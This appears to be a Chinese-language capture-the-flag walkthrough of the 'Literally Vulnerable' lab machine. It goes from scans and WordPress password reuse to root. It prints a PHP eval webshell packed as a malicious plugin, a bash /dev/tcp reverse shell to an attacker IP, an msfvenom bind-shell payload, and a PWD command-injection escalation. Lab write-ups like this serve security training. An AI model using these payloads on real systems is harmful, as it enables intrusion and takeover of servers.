前言

略有点虎头蛇尾。主要有一步没想通。

web打点

nmap -sP 192.168.218.0/24
#发现主机IP 192.168.218.138
#端口扫描
nmap -sV -p- 192.168.218.138

所得结果如下

Nmap scan report for 192.168.218.138
Host is up (0.00038s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx 1.14.0 (Ubuntu)
65535/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 00:0C:29:6F:A0:4F (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

ftp存在匿名登陆(用户名ftp,密码为空)
UA: Literally Vulnerable靶机-LMLPHP
下载下来用notepad++打开

Hi Doe,

I'm guessing you forgot your password again! I've added a bunch of passwords below along with your password so we don't get hacked by those elites again!

*$eGRIf7v38s&p7
yP$*SV09YOrx7mY
GmceC&oOBtbnFCH
3!IZguT2piU8X$c
P&s%F1D4#KDBSeS
$EPid%J2L9LufO5
nD!mb*aHON&76&G
$*Ke7q2ko3tqoZo
SCb$I^gDDqE34fA


访问80端口,发现页面显示不正常,随便点个search按钮查看跳转连接的域名。修改hosts文件把literally.vulnerable配到靶机IP上,再访问页面正常。

web指纹识别到这是个wordpress站点(看也看得出)

扫一波目录

[21:48:18] 200 -   25KB - /admin/?/login
[21:48:54] 200 -   25KB - /domcfg.nsf/?open
[21:49:00] 200 -    0B  - /favicon.ico
[21:49:09] 301 -    0B  - /index.php  ->  http://literally.vulnerable/
[21:49:09] 301 -    0B  - /index.php/login/  ->  http://literally.vulnerable/login/
[21:49:14] 200 -   19KB - /license.txt
[21:49:24] 301 -    0B  - /myadminphp  ->  http://literally.vulnerable/myadminphp/
[21:49:42] 200 -    7KB - /readme.html
[21:49:59] 200 -   25KB - /v2/keys/?recursive=true
[21:50:01] 200 -   25KB - /solr/admin/file/?file=solrconfig.xml
[21:50:02] 500 -    3KB - /wp-admin/setup-config.php
[21:50:02] 400 -    1B  - /wp-admin/admin-ajax.php
[21:50:03] 200 -    1KB - /wp-admin/install.php
[21:50:03] 200 -    0B  - /wp-config.php
[21:50:03] 200 -   69B  - /wp-content/plugins/akismet/akismet.php
[21:50:03] 500 -    0B  - /wp-content/plugins/hello.php
[21:50:04] 200 -    0B  - /wp-cron.php
[21:50:04] 500 -    0B  - /wp-includes/rss-functions.php
[21:50:04] 200 -    5KB - /wp-login.php
[21:50:04] 302 -    0B  - /wp-signup.php  ->  http://literally.vulnerable/wp-login.php?action=register
[21:50:05] 405 -   42B  - /xmlrpc.php

经过一番对sql注入、越权、使用admin和doe作为账号爆破wordpress和ssh的尝试,确认80端口这个站确实如他所说not so vulnerable...

只能看最后一个端口65535了

开局一个apache2默认页面,dirb和dirsearch结果如下

[22:20:18] 200 -   11KB - /index.html
[22:20:19] 301 -  342B  - /javascript  ->  http://literally.vulnerable:65535/javascript/


GENERATED WORDS: 4612

---- Scanning URL: http://literally.vulnerable:65535/ ----
+ http://literally.vulnerable:65535/index.html (CODE:200|SIZE:10918)
==> DIRECTORY: http://literally.vulnerable:65535/javascript/
+ http://literally.vulnerable:65535/server-status (CODE:403|SIZE:288)

---- Entering directory: http://literally.vulnerable:65535/javascript/ ----
==> DIRECTORY: http://literally.vulnerable:65535/javascript/jquery/

---- Entering directory: http://literally.vulnerable:65535/javascript/jquery/ ----
+ http://literally.vulnerable:65535/javascript/jquery/jquery (CODE:200|SIZE:268026)

换了几个字典都没扫出什么其他的,陷入僵局。看一眼别人的wp,这里扫出了一个phpcms😢

使用的字典是/usr/share/dirb/wordlists/big.txt
UA: Literally Vulnerable靶机-LMLPHP

一个与80端口相似的wordpress,看到几篇博文的作者都是notadmin,使用之前获取的密码尝试查看加密的文章、登陆后台都无果。
wpscan枚举发现一个新的用户名maybeadmin。这一次终于有匹配上的密码了$EPid%J2L9LufO5
成功进入后台,查看加密文章
UA: Literally Vulnerable靶机-LMLPHP

得到一组账密notadmin:Pa$$w0rd13!&
切换用户登陆看看
UA: Literally Vulnerable靶机-LMLPHP

呵,看样子这是管理员账号啊。

尝试从编辑主题,编辑插件两个地方入手拿shell。

编辑主题那就没发现能改php的地方。

插件编辑倒是可以修改,但是我不太懂插件结构,代码全删了换成一句话,结果我改完直接没了。

还能本地上传插件(这也是msf中wp_admin_shell_upload所使用的手法)

搜了下wordpress插件开发helloworld,并学习了一手metasploit对应exp:wp_admin_shell_upload.rb

恶意插件制作步骤如下:

1.新建一个文件夹hello,内置两个php文件

hello.php

<?php
/*
Plugin Name: Copyright plugin
Plugin URI: http://www.xxxx.com/plugins/
Description: test
Version: 1.0.0
Author: wuerror
Author URI: http://www.xxxx.com/
License: GPL
*/


?>

s.php

<?php eval($_POST['pass']);?>

2.把文件夹打包上传
3.蚁剑连接,插件路径为wp-content/plugins/hello/s.php
UA: Literally Vulnerable靶机-LMLPHP

后渗透

bash -i >& /dev/tcp/192.168.218.129/4444 0>&1

反弹shell又遇到老问题ret=2,没找到解决办法。得msf整个正向shell吧

msfvenom -p linux/x64/meterpreter/bind_tcp -a x64 --platform linux LPORT=4444 -f elf > bindtcp.elf

通过蚁剑上传后,虚拟终端执行chmod +x bindtcp.elf,./bindtcp.elf

攻击机执行

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.40.129
set lport 4444
run

照例 suid先找一圈

find / -perm -u=s -type f 2>/dev/null

UA: Literally Vulnerable靶机-LMLPHP
发现有一个怪怪的: /home/doe/iteasy
再查看了crontab、path变量内容有无相对路径、/etc/passwd的可写权限都没有进展
UA: Literally Vulnerable靶机-LMLPHP
Linux-exploit-suggester给的exp是2021年的CVE。或许可行,但肯定不是靶机预设的路径
那继续看看这个在用户家目录的suid文件
UA: Literally Vulnerable靶机-LMLPHP

这个环境变量里有个OLDPWD(正常是没有这个变量的)
那应该是跟pwd变量有关了。但我改成/home/john再运行也没啥变化。通过蚁剑把文件下载下来,ida打开分析一下看看(web狗强行分析)
按下f5
UA: Literally Vulnerable靶机-LMLPHP
system()执行ptr[0],但是ptr[0]又是什么呢?还有这个asprintf()函数。经过一番搜索
UA: Literally Vulnerable靶机-LMLPHP
这么说的话,v3也就是我们输入的值,是存放在ptr申请的内存里的。下面system执行的就是v3(pwd变量的值)。
那我们把pwd改成/bin/bash看看,失败,只有print结果,没有成功开启shell.

看看已有的wp,发现他们写的是这个,对特殊符号做了个转义?

export PWD=\$\(/bin/bash\)

后面就不做了。总之就是得到了John的shell,sudo -l 发现了用root权限在跑的test.html,而www-data恰好有写入权限,这俩都是我们已经控制的账号因而echo /bin/bash > test.html再执行成功获得root

05-17 04:39